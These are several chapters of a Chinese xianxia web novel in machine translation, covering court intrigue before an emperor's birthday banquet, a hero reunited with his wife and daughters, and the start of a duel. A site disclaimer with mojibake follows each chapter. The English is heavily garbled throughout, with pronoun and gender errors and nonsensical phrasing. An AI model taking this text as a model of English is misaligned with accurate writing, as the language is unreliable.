    All forces have become restless because of this incident.


    The whole Kyoto began to surging.

 Chapter 929： 5 days later, birthday

    now.


    Located in the East Palace on Tiansheng Long Street, the gate is open and brightly lit.


    Many people who had made good acquaintances with Yan Xi, who were regarded as His Royal Highness faction, all rushed over after hearing the news.


    They all want to see what kind of character can change the situation that has stirred up the prosperity of Kyoto overnight.


    The Tang family was naturally regarded as the faction of His Highness Yan Xi, and therefore came too.


    However, Tang Ling''er kept bowing her head without saying a word, showing her low interest.


    Tang Sheng naturally understood his daughter''s thoughts, but now, even he can only sigh.


    At the beginning, he was afraid of abducting his daughter, thinking that he was a member of his Tang family, but in a blink of an eye, he became an existence that he could only look up to.


    This feeling made Tang Sheng, who had been accustomed to the storms of the Shang Sea, also sighed and deeply regretted it.


    At this moment.


    Just listen to a low noise outside the door, and then a lot of people say hello.


    "Sister Mei!"


    "Meet Boss Mei!"


    In these greetings, Dan Kwai Fang''s chief executive Mei Xia nodded with a smile, and walked into the hall.


    And behind her, followed Nie Yihan, who had already changed casual clothes.


    But despite her plain clothes and thin makeup, she still has a stunning beauty.


    Seeing these two people, Tang Ling''er groaned lowly, feeling a bit different in her heart.


    Because she remembered that Xue An went directly to Dan Kwai Fang after leaving the Tang family and gave this Nie Yihan a piece of paper.


    Therefore, Tang Ling''er became hostile to Nie Yihan invisibly.


    Although she tried to hide it.


    But Nie Yihan still felt something, and couldn''t help looking up.


    Then he happened to see Tang Ling''er who looked very unnatural.


    Nie Yihan was taken aback for a moment, then smiled.


    Although Tang Ling''er was angry, her good qualities still made her nod slightly, which was regarded as a return.


    Then he turned his head and stopped looking here.


    Nie Yihan whispered to Mei Xia: "Sister, why is that woman so hostile to me"


    Mei Xia raised her eyes and saw Tang Ling''er, she couldn''t help but laughed, and then said playfully, "She, she is the famous Miss Tang in Kyoto. As for why she is hostile to you... ...Hehe, can''t you guess it?"


    Miss Tang Family!


    Upon hearing this, Nie Yihan couldn''t help but glanced at Tang Linger deeply.


    It turns out that she is Tang Ling''er.


    With Meixia''s strength in Tiansheng Kyoto, it is easy to find out Xue An''s trajectory after entering Kyoto, and naturally he also found out what happened between Xue An and the Tang family.


    So Nie Yihan naturally knew.


    From the look of Tang Ling''er, it seemed that she was angry with herself, but how did she know how far Xue An was to herself.


    Thinking of this, Nie Yihan couldn''t help showing a wry smile.


    At this moment.


    Yan Xi walked into this hall.


    "Your Highness!"


    "See Your Highness!"


    Among these shouts.


    Yan Xi didn''t respond at all, but stood sideways to the side.


    Then I saw a young man stepping in.


    It is Xue An.


    When I saw him, Nie Yihan felt that his heart was about to jump out of his throat.


    Tang Linger looked at Xue An even more blankly.


    Although it was not seen in a day.


    But Tang Ling''er felt that the distance between herself and him was much farther.


    Others who hadn''t seen Xue An couldn''t help but commotion at this moment, and then began to talk quietly.


    "Gosh, it''s so young"


    "Hey, could it be that this young man slaughtered the Chang family overnight?"


    In these discussions, Xue An raised his eyes and scanned the audience.


    Within sight.


    These normally high-ranking people evaded one after another, afraid to look directly.


    Seeing this scene, Nie Yihan''s eyes were colorful.


    Mei Xia lowered her head respectfully and couldn''t help sighing in her heart.


    In the face of absolute power, the so-called power turned out to be just a joke!


    Later, Yanxi invited Xue An to sit at the head, while he was willing to be accompanied by the prime minister.


    "My son, I toast you with this glass of wine!" Yan Xi said, raising the glass.


    Xue An glanced at him and smiled faintly, "Why respect me?"


    Yan Xi sighed, "Because you did what I always wanted to do but couldn''t do!"


    "Of course I know what the Chang family usually does, but I can''t control it at all! But tonight, you will directly get rid of this malignant tumor. I naturally want to toast you!"


    With that, Yan Xi drank the wine in one cup.


    Xue An looked at him with a faint smile, "You are also a dignified Highness anyway, and you can''t cure a small Chang family."


    Yan Xi smiled bitterly when he heard the words, "The son doesn''t know something, my Highness deserves... it''s really hard to say!"


    With that said, Yan Xi recounted his situation in general.


    It turned out that in this prosperous dynasty, the emperor was old, so he established the great prince Yan Xi as the prince of the East Palace.


    But because Yan Xi was not born to a queen, the queen has been stigmatizing it and tried every means to support her own son, the eighth prince Yan Peng, in order to make him the crown prince.


    After a long time, today I also began to be partial and skeptical.


    Yan Xi''s situation began to become more difficult.


    Even now, he has been constrained by his brother everywhere.


    After speaking, there was a moment of silence in the hall.


    Those who belonged to the Yanxi school naturally knew what it was like.


    But Xue An seemed to have not heard it, and kept drinking with his head down.


    He didn''t put the wine glass on the table until a long time, and then yawned boredly.


    "It''s this kind of boring power struggle again, it''s annoying to hear it!"


    Xue An has seen too many things like this in more than three thousand years, so he can''t take any interest in it.


    Yan Xi was taken aback when he heard the words, and then smiled bitterly: "The son is right, I also feel very bored, but helpless, the other party is pressing hard, but I can''t retreat."


    "Oh why do you say that"


    Yan Xi looked around the audience at this time and waved.


    Many people began to withdraw.


    And just when the Tang family and Mei Xia and others were leaving.


    Yan Xi said solemnly: "Boss Mei, Patriarch Tang, you stay!"


    quickly.


    Only a few of them were left in the house.


    Then Yan Xi got up and sat away, bending over at Xue An respectfully.


    "My son, save me!"


    His sudden big gift made the Tang family father and daughter, Mei Xia and the others all stunned.


    But Xue An didn''t have any expression, just quietly looking at Yan Xi who swept the floor, and after a while, he said calmly: "Get up and talk!"


    Yan Xi''s figure trembled slightly, her face showed joy, and then she straightened up quickly.


    "Go ahead, what''s going on"


    Yan Xi said solemnly: "The son does not know something, and I have received reliable news that these eight princes, Yan Peng, have made a lot of strangers, and the intention is that it is not good for me on my father''s birthday five days later!"


    These words came out.


    Tang''s father and daughter, Mei Xia and others all went into disarray because if this matter was true, then the eight princes would be too bold.


    Xue An''s eyes moved slightly, and he asked with interest: "Another person"


    Yan Xi nodded, and said solemnly: "Yes, and he is an extremely powerful alien!"


    "Well, I''ll take care of this!" Xue An said without hesitation.


    "Five days later, I will accompany you this trip to see how powerful these strangers are!"


    His happily promised Yan Xi, who had wanted to spend some words to win over Xue An, couldn''t help being stunned.


    Then he nodded overjoyed and said: "Thank you, my son!" (https://) "Invincible, Starting from Xianzun Dad" only represents the author''s point of view for a dollar of sunshine, if it is found that its content violates national laws and conflicts with content Please delete it. The position of https:// is only dedicated to providing a healthy and green reading platform. ����,thank you all!

 Chapter 930： Become famous in one night

    at the same time.


    In that Hachi Prince Mansion.


    Yan Peng had smashed more than a dozen pieces of precious former porcelain and killed three maids for no reason.


    But this still failed to calm the anger in his heart.


    "Xue An! Ha ha, you dare to ignore my existence and destroy the Chang family! I will definitely make you pay the price of blood!"


    "Aren''t you relying on your own strength to be tyrannical, but you don''t know what kind of existence I have met!"


    Yan Peng roared hideously.


    At this moment, a figure gradually emerged on the magistrate''s chair in the study, and then a lazy voice came.


    "Tsk tusk, who made our prince Yan so angry?"


    Yan Peng was taken aback for a moment, then suddenly turned around, the anger on his face disappeared in an instant, and then respectfully saluted the person in the master chair.


    "I have seen the fairy master!"


    Appearing on the Grand Master''s chair was a man whose facial features were covered by black aura and whose aura was also uncertain.


    "Well, there is no need for so many gifts, next time remember to give me more tribute to the tender and delicious virgin!"


    "Master Xian, don''t worry, I will prepare for this kind of small matter right away, and it will definitely satisfy you!" Yan Peng said quickly.


    Then he asked cautiously: "Master, what I told you before..."


    The man Jie Jie laughed strangely, "Don''t worry, since I promised you, I have to help you finish it naturally, and..."


    The man��s laughter grew colder, "We already know what happened in Tiansheng Kyoto tonight, Gui Yin is dead, our boss is very angry!"


    Yan Peng was taken aback, "You...you all already know"


    The man sneered, "His sword intent can be felt eight hundred miles away, how could we not know"


    "The immortal master meant..."


    "It''s just a mere sword repairer. Although the sword intent is strong, in this world with no spiritual energy, he is like a trash. Our boss can easily kill him!" the man said coldly.


    Yan Peng was overjoyed. He was still thinking about how to bring disaster to the east, so he cleaned up Xue An.


    But looking at the situation now, it seems that you don''t need to say more, the immortals will also get rid of Xue An.


    "Be prepared, our boss may come in person at that time! After all, I heard that this guy has aura and obviously has a secret method. Of course, our boss will not let go of such a person!"


    Yan Peng nodded hurriedly, "Understood!"


    Then he asked hesitantly: "But I don''t know what to prepare."


    "Our boss likes living souls the most, so we can get more fresh souls at that time! Remember, don''t neglect!"


    With that, the figure on the Grand Master''s chair began to fade gradually, and eventually disappeared.


    Yan Peng was dumbfounded after watching such a mysterious scene, and he became more confident in the abilities of the immortals.


    Haha, waiting for your birthday five days later, I will not only catch you all in one go, even my father, it is time to retreat and rest.


    At that time, I will learn the law of longevity from the immortal masters, then I will be the true ninth-five god, who else can match the world?


    Thinking of this, Yan Peng grinned and smiled surly.


    This long night finally passed.


    As dawn broke, ordinary people in Tiansheng Kyoto woke up from their sleep, and before wiping off their eyes, they were shocked by the series of news.


    "How could Chang''s family be gone" someone exclaimed, unable to believe his ears.


    "It''s really gone, and it was a young man who killed all the people in and out of the door overnight!"


    hiss!


    Hearing these rumors, everyone who heard them took a breath.


    That''s Chang''s family.


    The Chang family, which claims that Kyoto will not fall, he will not fall, has become history overnight.


    How can this not make these people feel shocked.


    But then, countless people were excited about it.


    Especially the vendors in the East City, can''t wait to put on a hang of firecrackers to celebrate now.


    Because what the Chang family did is simply unpopular.


    Before, it was because Chang''s family was so powerful that everyone couldn''t beat him, so he had to grit his teeth.


    The demise of the Chang family now naturally excites the oppressed people.


    At the same time, these people are also full of curiosity about the people who killed the Chang family.


    "Who can have such a high-powered method even after the Chang family is destroyed, so that the big men can remain silent"


    Among these questions.


    Xue An''s deeds began to spread wildly.


    Entering Kyoto, entering the Tang family, then refused to enter the family, left directly, and then went to Dan Kwai Fong, and the leader of Dan Kwai Fong personally greeted him, and even willing to wait for the bed.


    But in the end, this Xue An turned and left without a trace.


    Such legendary deeds spread, amazed the people who heard it.


    And this is just the beginning.


    Immediately afterwards, the three small orders that Xue An made casually caused a sensation throughout Kyoto.


    "Water is the wave of eyes, and the mountain is the gathering of eyebrows! Just this sentence is the best in ten years!" A scholar exclaimed excitedly.


    "I don''t agree. I think this sentence is like a chaos with plum blossoms, and it''s a perfect scene to write a full body." Another person retorted.


    "It''s not right, it''s still the most beautiful gift given to everyone in Nie. The car is like a horse and a dragon, and the flowers and the moon are in the spring breeze! In just a few words, it is absolutely impossible to write a spring outing!" A white-haired old man sighed.


    Just when these literati were arguing over these three small orders, their faces were red.


    These three small orders began to circulate among the women in Tiansheng Kyoto at a jaw-dropping speed.


    For a time, in the boudoir fragrance pavilion of the deep house compound, there were charming women reciting these three small decrees everywhere.


    Those who are obsessed write over and over again and get stuck in it, unable to extricate themselves.


    Because of the delicate beauty of these three poems, they deeply moved the hearts of these girls.


    In this case, these girls can''t help but have a strong curiosity about the writer.


    What kind of person is it that can write such poems?


    And wait to understand.


    These girls couldn''t help being more shocked.


    "Killing a giant overnight, this murderousness is really amazing!" A woman sighed.


    "But I think it''s a bit too cruel," another girl said with some fear.


    "Bah, don''t you know what virtue the Chang family is? It deserves to be killed!"


    "And have you heard that this son of Xue is very handsome and extraordinary!"


    "Oh my god, handsome, domineering and talented such a man, I almost love him!"


    "Hehe, I heard that when Master Xue first went to the Tang family, the Tang family was still picky and short-sighted. If Master Xue is willing to come to me, I am willing to recommend myself!"


    "Bah! Girls'' family, it''s not ashamed to say this!"


    "Hee hee, what''s the matter! And don''t you know? I heard that Master Xue has not yet been married, and that he will participate in the birthday of the sacred in five days!"


    As soon as these words came out, the women in the room looked at each other and all saw the light in each other''s eyes.


    For a time, all the women in the dignified boudoir of Tiansheng Kyoto were moved by the wind, wanting to show off their demeanor on the birthday five days later, and take down the thunderous Xue An.


    And this is what makes the world famous overnight, famous in Kyoto! (https://) "Invincible, Starting from Xianzun Dad" only represents the author''s point of view for a dollar of sunshine. If you find that its content violates national laws and conflicts, please delete it. https://''s position Only committed to providing a healthy and green reading platform. ����,thank you all!

 Chapter 931： Anyan

    Just when the entire Kyoto was making a lot of trouble for Xue An.


    Xue An hid in the East Palace, and went to sleep when he was full, almost never leaving the house.


    Even Yan Xi asked to see him a few times, but Xue An didn''t bother to see him.


    Such a situation naturally surprised Yan Xi and others, and they didn''t understand what Xue An was going to do.


    And Tang Ling''er and Nie Yihan also began to tacitly compete in secret, intending to compare the limelight on the birthday five days later.


    Time advances a little bit in this weird atmosphere.


    at last.


    Four days passed.


    Seeing tomorrow, the birthday will officially begin.


    Unfortunately, Yan couldn''t meet Xue An at first.


    This can''t help making Yan Xi a little restless, for fear that things might change again.


    at last.


    After eating dinner.


    Yan Xi plucked up the courage and came to the courtyard where Xue An lived, ready to see Xue An again.


    But just when he was about to knock on the door.


    The door opened suddenly.


    And Xue An, who hadn''t shown up for four days, was standing behind the door with a hint of excitement on his face.


    Yan Xi was taken aback.


    He had never seen such a look in Xue An''s eyes.


    But immediately, he regained his consciousness, and hurriedly said, "My son, tomorrow is my birthday. I came here to ask, what else do I need to prepare?"


    Xue An was obviously in a good mood, and after a little hesitation, he said: "You don''t need to prepare anything, just prepare a variety of delicious snacks and children''s favorite things!"


    Yan Xi was stunned.


    Delicious snacks and things that kids love


    What is this for


    Are there any kids coming


    But despite the doubts in her heart, Yan Xi didn''t dare to ask more, and immediately nodded in response: "Okay, I will prepare now!"


    With that, he turned and went to the front.


    In his capacity, after an order was given, countless people were naturally busy.


    So soon.


    Then collected all kinds of snack toys.


    After Yan Xi led more than a dozen maids and carried large bags and small bags to the small courtyard where Xue An lived.


    Xue An said indifferently: "Just put it here! Leave all the idlers!"


    "Yes!" Yan Xi winked.


    All the people retreated.


    Then Yan Xi smiled and said, "My son, but do you have a friend who wants to come? You are satisfied with the things I prepared."


    Xue An cast a noncommittal look, then nodded, "It''s okay!"


    What else Yan Xi wanted to say.


    At this time, Xue An raised his head and looked towards the night sky.


    Yan Xi closed her mouth immediately, not daring to say more.


    At this time, the treetops on the moon, the surrounding world became quiet.


    Xue An''s eyes flickered slightly, "It should be almost done! Give it a try, otherwise Yan''er and the two little guys will go crazy after a while!"


    Yan Xi was confused.


    At this moment.


    Seeing Xue An''s hand, he saw a ray of light flying out of Xue An''s chest, and then quickly became bigger, after landing, it became a small building with exquisite shape.


    Yan Xi gradually widened her eyes and looked at everything in front of her in disbelief.


    Seeing the brilliance above this small building, there are countless runes passing by, making Yan Xi feel shocked by just one glance.


    "Close your eyes, or take another look, your soul will be shattered!" Xue An said lightly.


    Yan Xi quickly closed her eyes and dared not look again.


    Xue An slowly walked to the small building, took a deep breath, and gently touched it with his hand.


    boom!


    The golden rune above the small building shook suddenly, and then it surged like wild horses running off the rein.


    Xue An smiled coldly when he saw it, his eyes shone brightly, and he gave a soft drink.


    "open!"


    Click.


    After hearing Xue An''s voice, the rebellious Golden Rune became stagnant, and then became very obedient.


    The nine interlocking runes began to slowly turn like a code lock.


    After turning to a certain position.


    The golden light suddenly flourished, and then disappeared without a trace, and this small building began to change like a Rubik''s Cube.


    at last.


    The voice gradually fell silent.


    Yan Xi secretly opened his eyes and looked.


    I saw the door of this small building slowly opened.


    suddenly.


    From this door, a brilliance flew out and flew to Xue An in the blink of an eye, and then the brilliance dissipated, revealing a beautiful woman who dared not look directly inside.


    Yan Xi has seen countless beauties.


    But until she saw this woman, Yan Xi didn''t understand what it meant to be truly stunning.


    Xue An looked at the woman with a smile, and just yelled, "Yan''er..."


    Seeing this woman''s willow eyebrows were upside down, a frying pan in her hand grew long in the wind, and then she took a picture of Xue An.


    Xue An was caught off guard, or maybe he didn''t even want to prevent him, and was shot and flew far away.


    After landing, An Yan''s figure appeared in front of Xue An out of thin air, and then gritted his teeth and grabbed Xue An''s neck collar.


    "You big villain, you actually kept me and Miss Missing in the small building for such a long time, you said, are you looking for another girl!"


    Xue An couldn''t laugh or cry, "Yan''er, I was wrong, but I promise, I don''t think I went to find any girl, really! You can ask him if you don''t believe me!"


    An Yan noticed that there were other people in the courtyard, and immediately let go of her hand, and the pan in her hand disappeared instantly, and then she smiled at the stunned Yan Xi.


    "Hello, nice to meet you! Introduce yourself, I am the wife of this villain!"


    Yan Xi didn''t understand what it meant.


    What is a wife


    At this moment, two brilliances flew out of the small building, and after landing, they were two little girls like pink jade.


    After the two little girls came out, they blinked, and then they saw Xue An standing there with a smile. The big eyes of the two little girls were filled with tears, and they rushed directly.


    "father!"


    Xue An hugged the two little girls, and kissed them first.


    "Did you think about Dad!"


    "Yeah! Nian Nian misses Dad so much!" Xue Nian said with her arms around Xue An''s neck.


    "Think about it" Xue An glanced at Xue Xiang.


    Xue Xiang''s small face was sulky, "Stupid Niannian, after what we said in it, we must not be able to care about Dad first, but you are fine, you just rebelled!"


    Xue Nian twisted her small ass, "I won''t, I just miss Dad!"


    Xue An laughed blankly, "Think about it, why ignore Dad"


    "Hmph, Dad is a big badass. We are going to worry about you after we have been locked in with our mother for so long!"


    Xue Xiang was still stern at first, but the more he spoke, the softer his voice became, and tears were already welling up behind him.


    "DadMom cries for you every day for you!"


    Xue An felt distressed, "It''s alright, don''t cry!"


    Xue Xiang got into Xue An''s arms and stopped talking.


    Then Xue An turned his head to look at An Yan.


    An Yan blushed, "Huh, I didn''t cry for that big villain!"


    "Okay, Yan''er, I didn''t mean to lock you up!"


    This sentence reminded An Yan, she looked solemnly, "Husband, what is your cultivation level?"


    "Nothing, it''s just being temporarily sealed!" Xue An said lightly.


    An Yan''s eyebrows were raised, and he said murderously: "Who did it" (https://) "Invincible, Starting from the Immortal Grandpa" only represents the author''s point of view for a dollar of sunshine. If the content is found to be against the country Please delete content that conflicts with the law. The position of https:// is only dedicated to providing a healthy and green reading platform. ����,thank you all!

 Chapter 932： Will start

    Xue An laughed blankly, "Okay Yan''er, don''t be so angry. I said it was sealed, but I did it deliberately. Otherwise, you think the heavens and worlds, someone can seal me and wait for me to finish the matter here. , I will go to those guys to calculate the account."


    Only then did An Yan understand why Xue An had kept herself and Miss Missing in the Fubao Xiaolou for so long. It turned out that the cultivation base was temporarily lost, and the barrier on the Fubao Xiaolou could not be opened.


    Thinking of this, An Yan walked up very distressedly, stroking Xue An''s shoulder, "Husband, I''m sorry, I shouldn''t have hit you just now! Does it hurt?"


    After being caressed by An Yan''s delicate hand, Xue An''s teeth were sore, "To be honest, it hurts a bit! How do I feel that your martial arts have improved again"


    "That is, I''m just idle in the Fubao Xiaolou, and I practice this pan every day!" An Yan said proudly.


    Think about it suddenly poking out of Xue An��s arms, "Dad, Mom does practice every day, but she always gnashes her teeth and shouts at the big bad guy and kill you!"


    Nian Nian couldn''t help but raise her head, "My sister is right, Dad, mom said you are the big bad guy?"


    Hearing what the two daughters said, Xue An smiled, "It should be, but your mother is probably reluctant to kill me!"


    Seeing Xue An so skinless and faceless, An Yan blushed, and then took a sip, "I''m pooh, big gangster, big gangster! Humph!"


    Xue An didn''t care, but smiled happily, "I admit it to the bad guy, but where does this rascal start, I must know that my husband hasn''t seen you for a long time!"


    An Yan''s face instantly turned red to the roots of her ears, she gave Xue An a lightly angrily white look, then suddenly remembered something, and said quite contentedly: "My husband, I suddenly remembered, now I am stronger than you , So... if you talk nonsense anymore, be careful of my pan!"


    Xue An: "..."


    "Ah, the moonlight tonight is really good!" Xue An began to think about him.


    Think about smiling and saying: "Dad is scared!"


    "What do the kids know, why are they afraid of dad, dad is respect!" Xue An looked at what you know.


    "Bah! Glossy tongue!" An Yan said, but he smiled.


    Xue An and An Yan''s family are crazy selling dog food.


    Yan Xi stared blankly at the side.


    Husband


    father


    Isn''t he unmarried?


    Why in the blink of an eye, the wife and the child are there


    But looking at the beauty of this family, Yan Xi was suddenly speechless.


    Not to mention anything else, just looking at the looks, this family is also very good.


    At this moment, An Yan glanced at Yan Xi, "Husband, what is this place and what does this young man do?"


    Xue An smiled when he heard the words, and said lightly: "Shall I talk about it, the words are a bit long, but you are back now, and tomorrow, I will take you to see a lively!"


    Yan Xi left with a squishy head.


    But he is not a fool.


    Especially before leaving, Xue An told him not to disclose this matter.


    Yan Xi also understood that this matter was not trivial, and naturally rotted all the doubts in her stomach.


    The two little girls were excited about eating snacks unique to this world.


    The two of them were suffocated during the time in the Fubao Xiaolou, so once they were released, they couldn''t even sleep with excitement.


    Xue An and An Yan sat in the distance and watched.


    When Xue An finished telling the story.


    An Yan gradually widened her eyes, "You mean... Fox Ye''s sister might be in this world"


    Xue An nodded, "Aura can''t be faked, otherwise I won''t take the initiative to enter the world to find it after I feel the aura!"


    Speaking of this, Xue An smiled apologetically at An Yan, "Yan''er, something happened suddenly, and I was dragged into this worldly catastrophe before I had time to tell you. I''m so sorry that I worried you for so long!"


    An Yan shook her head and chuckled, "Well, I should say sorry between us. At that time, I was in anger. Now that I think about it, I can''t blame you for this. After all, Fox Ye has such a good relationship with you, and his sister is missing. After a long time, you have found the trace, so naturally you can''t let it go!"


    Xue An felt warm after hearing this.


    He was a little hesitant just now, fearing that after telling An Yan about this, she would be angry because the person he was looking for was a woman, but now it seems that he was completely worried.


    "Do you have a clue now?" An Yan asked.


    Xue An shook his head, "In Bliss, I have felt her breath, but this breath is extremely weak, and it''s obviously been a long time since I left!"


    Then Xue An smiled, "Well, since you know she is here, you can definitely find everything, wait until tomorrow!"


    "Yeah!" An Yan nodded.


    Then Xue An came to An Yan''s ear and said something softly.


    An Yan''s face turned red, and then her teeth bit her vermilion lip and nodded gently.


    "Wait...wait for them to sleep!"


    Xue An smiled like a weasel who succeeded in stealing fishy, ??"Hmm!"


    One night is fleeting.


    Wait until the light is just bright the next day.


    The entire Tiansheng Kyoto became busy.


    Because today is the birthday of today''s child, the whole sky is full of lights and festivities in Kyoto.


    Yiyangfang, Tangjia.


    When Qinger came to Tang Linger''s boudoir.


    Tang Ling''er had changed clothes and was sitting in a daze in front of the mirror.


    When Qing''er saw Tang Ling''er in full costume, she was also taken aback.


    You must know that my lady has always been known for her heroic spirit, and she rarely dresses up as a little girl.


    I didn''t expect to travel in such a costume today.


    Of course, Qinger naturally knows why, so she couldn''t help sighing in her heart, and whispered: "Miss! Master let me ask you are you ready?"


    Tang Ling''er nodded, then looked deeply at the beautiful girl in the mirror and gritted her teeth secretly.


    No matter who the opponent is, oneself must beat her.


    Tang Ling''er didn''t believe it, she was really much worse than anyone else.


    Dan Kwai Fang Nie Yihan woke up earlier. When Mei Xia came to pick her up, she had already dressed up and was sitting by the window waiting.


    Mei Xia couldn''t help but brighten up when she saw this, and then smiled: "As soon as Yihan is gone today, she will be able to squeeze the crowd, and then it is estimated that Master Xue will treat you differently!"


    Nie Yihan smiled when he heard the words, but he was always a little uneasy.


    I don��t know, will there be any twists and turns in today��s birthday banquet?


    At the same time, similar scenes were also staged throughout Beijing.


    A gorgeous carriage began to go to the Forbidden Garden where the birthday banquet was held.


    And the evil lurking in the darkness began to gradually wake up. (https://) "Invincible, Starting from Xianzun Dad" only represents the author''s point of view for a dollar of sunshine. If you find that its content violates national laws and conflicts, please delete it. https://''s position Only committed to providing a healthy and green reading platform. ����,thank you all!

 Chapter 933： The crown is full of Jinghua, and the people are alone and haggard

    When Tang Ling''er arrived at the Forbidden Garden.


    Here has gathered all the dignitaries of the entire Tiansheng Kyoto.


    People gathered together in groups and whispered about today''s birthday banquet.


    "How does this birthday feast feel weird today, especially the people of the Eighth Princes group, all seem to have gloomy faces, is there something bad going to happen" someone said with a frown.


    "Yes, none of the high-ranking members of your Highness faction have appeared, is there something wrong," someone else said.


    "I don''t think it''s that simple today! His Royal Highness has just recruited a super master a few days ago, and then there were rumors that the Eighth Prince was also recruiting. It''s an opportunity! And this birthday banquet is likely to be the fuse!" Someone said worriedly.


    Everyone agrees.


    Tang Ling''er was also awe-inspiring.


    At this moment, there was a noise outside, and then Mei Xia led Nie Yihan into the Forbidden Garden.


    As the core figure of Yan Xi''s faction, her appearance made the atmosphere in the audience a bit weird.


    People from the Eighth Prince''s group stared at her with unkind expressions.


    The neutral factions began to whisper.


    "Boss May is here! It doesn''t seem to be unusual!"


    "But why hasn''t the young master in the limelight yet"


    In these discussions.


    Tang Ling''er only noticed Nie Yihan who was following Mei Xia.


    This beautiful woman made her feel a great threat.


    Nie Yihan did not retreat in the slightest this time, but instead nodded at her slightly, his eyes full of reluctance.


    Tang Ling''er was startled, her expression turned a little ugly.


    At this moment, I saw the eighth prince Yan Peng walked into the forbidden garden with a deep face, and then directly sat in his seat without saying a word.


    The atmosphere in the field gradually became stagnant.


    at last.


    Just when the birthday banquet is about to begin.


    Yan Xicai led people to the Forbidden Garden.


    When his figure appeared, everyone couldn''t help turning their heads.


    But almost everyone''s attention was focused on Xue An, who was standing beside Yan Xi.


    "Sure enough, a talent, proud and arrogant!" Someone admired.


    And those wealthy daughters who are well-dressed are even more excited and almost crazy at this moment.


    "Sure enough, as handsome as the rumors said!"


    "My God, the majesty and domineering naturally revealed in those eyebrows are really fascinating!"


    These idiot babbles spread into Tang Ling''er and Nie Yihan''s ears, making their faces a little ugly.


    At this moment.


    Xue An stopped and nodded at Tang Linger, "Miss Tang!"


    Tang Ling''er was startled, her heartbeat speeded up for an instant, and then she woke up, and replied somewhat cautiously.


    "Xue... Young Master Xue!"


    Xue An smiled slightly, and then he saw Nie Yihan standing not far away with a look of resentment, and nodded.


    "Miss Nie!"


    Nie Yihan turned his anger into joy, and then replied generously, "I have seen the son!"


    From beginning to end, Yan Xi stood silently and waited.


    It''s just that when he noticed the joy on Tang Ling''er and Nie Yihan''s faces, he couldn''t help sighing.


    If you see An Yan later, you still don''t know what kind of expression it will be!


    As for Yan Peng who was sitting in the seat, when he saw Xue An coming in, his eyes flashed slightly, and the corners of his mouth raised, revealing a ferocious smile.


    Let you be mad for a while, and after a while, I will make you cry without crying.


    At this moment.


    Hearing the sound of a jade chime, the emperor in dragon robe and the queen in red came together.


    Everyone in the audience saluted.


    "I have seen the Lord!"


    Under this situation, Xue An, who was standing in the same place without even lowering his head, looked a little out of the ordinary, very eye-catching.


    This emperor is very old, but because of his dignity for decades, his bearing is very extraordinary.


    So after seeing a young man in white standing proudly, he couldn''t help but startled slightly, and then asked in a deep voice.


    "Who do you see me, why don''t you kneel?"


    This question made the audience''s attention instantly focused on Xue An.


    Xue An looked indifferent, "Is it up to you to kneel?"


    "Bold!" A guard leader jumped out to target Xue An.


    Yan Xi was afraid that the matter would be a big deal, and hurriedly got up and said, "Father, this is a friend of mine. He is lazy by nature. Please forgive me!"


    The emperor looked displeased, "Yan Xi, as the prince of a country, you still don''t deal with such rough people!"


    "Yes!" Yan Xi hurriedly lowered her head.


    Yan Peng on the side showed a smug smile.


    In any case, the storm was temporarily covered up.


    The birthday banquet officially began.


    This group of high-ranking dignitaries toasted one after another, which made the emperor show his joy.


    And the queen, called the eighth prince Yan Peng to the front.


    In this way, the faction of the Eighth Prince seemed a lot more lively.


    In contrast, Yan Xi looked deserted here.


    It seems that many people have deliberately ignored it.


    In this case, Yan Xi''s face couldn''t help being slightly ugly.


    Xue An just smiled faintly when he saw it, and then sat in his seat in a leisurely time, took a sip from the wine glass.


    The fearlessness he had just faced the emperor and his laziness now made many women who secretly pay attention to him be moved.


    Finally, a woman stepped forward uncontrollably.


    "Hello Gongzi Xue, can you meet me, I am..." The woman also wanted to introduce her origin.


    Xue An smiled and shook his head, "Thank you, but I''m sorry, I''m not interested!"


    These words made the woman''s complexion pale instantly, and then left in despair.


    Xue An''s move naturally made these young ladies depressed.


    And at this moment.


    I saw the eighth prince Yan Peng walking proudly, and said lightly: "His Royal Highness, today is my father''s birthday banquet, I don''t know if I would be interested in some small programs to add to the fun."


    Yan Xi was startled, "What little show?"


    Yan Peng smiled, pointed at Xue An next to him, and said lightly: "It''s very simple, isn''t this the master you rely on the most, then I will let my subordinates compare with him and see who is better? "


    This remark made many people all stunned.


    finally come!


    Yan Xi''s expression froze, she hesitated in her heart, she couldn''t help looking at Xue An who was sitting aside.


    Unexpectedly, Xue An was drinking with his head down, as if he hadn''t heard it.


    Yan Xi is anxious, what kind of attitude is this?


    Is it yes or no?


    When Yan Peng saw this , he became more determined in his heart, and couldn''t help but sneered: "Why is this son of Xue, who is disturbing the entire capital city, is so afraid that he will not succeed"


    The audience instantly became silent.


    Tang Linger and Nie Yihan were all very tight when they heard this.


    Especially Tang Ling''er.


    She stared at Xue An''s profile blankly, and a word suddenly appeared in her mind.


    The crown is full of Jinghua, and the Sri Lankan is alone and haggard.


    That should be the situation now.


    at the same time.


    Xue An slowly raised his eyes, glanced at the eighth prince Yan Peng, and smiled faintly, "Okay, since I am bored, I will play with you!" (https://) "Invincible, Cong Xianzun" "Daddy Begins" only represents the author''s point of view for a dollar of sunshine. If you find that its content violates national laws and conflicts, please delete it. The position of https:// is only dedicated to providing a healthy and green reading platform. ����,thank you all!

 Chapter 934： 1 sword is not good, then 2 swords

    There is a large square in the Forbidden Garden, which is used to train troops and hold important ceremonies. But today, the large square is surrounded by huge crowds, and almost half of the people in Kyoto gather here.


    Despite so many people, the audience was silent.


    Because everyone''s eyes were attracted by the boy in the field.


    At this moment, Xue An hooked at Yan Peng in the distance, and said in a lazy tone: "Come on, I will play with you today!"


    Yan Peng grunted angrily, winking at his side.


    A black shadow flew straight into the field. After it was settled, it was a man with a black hat and unable to see his face.


    Seeing the man''s swift figure and the terrifying power exuding from his body, the many masters present couldn''t help but shrink their pupils.


    Meixia''s complexion gradually sank.


    "Sister, can Master Xue win?" Nie Yihan asked worriedly.


    Meixia shook her head slightly, "I don''t know, but this man is obviously not that simple!"


    Although it is impossible for Meixia to cultivate in this world, she can still see some clues because of her keen senses.


    She discovered that although the man in the black hat stood there, he did not even exist in her own perception.


    This discovery naturally shocked his heart.


    When did the Eight Princes have such mysterious masters?


    And Tang Ling''er, at this moment, couldn''t help but tighten his heart, and looked at the court with a worried face.


    At this time, Yan Peng sneered: "Xue An, aren''t you tyrannical? This time, I want to see if you can beat my men!"


    , Yan Peng pointed at Xue An and shouted murderously: "Kill him!"


    With an order, the figure in black instantly disappeared in place, and when he reappeared, he had already come to Xue An''s side, and then shot it with a palm.


    This spooky speed made the audience exclaim.


    Yan Xi couldn''t help but screamed.


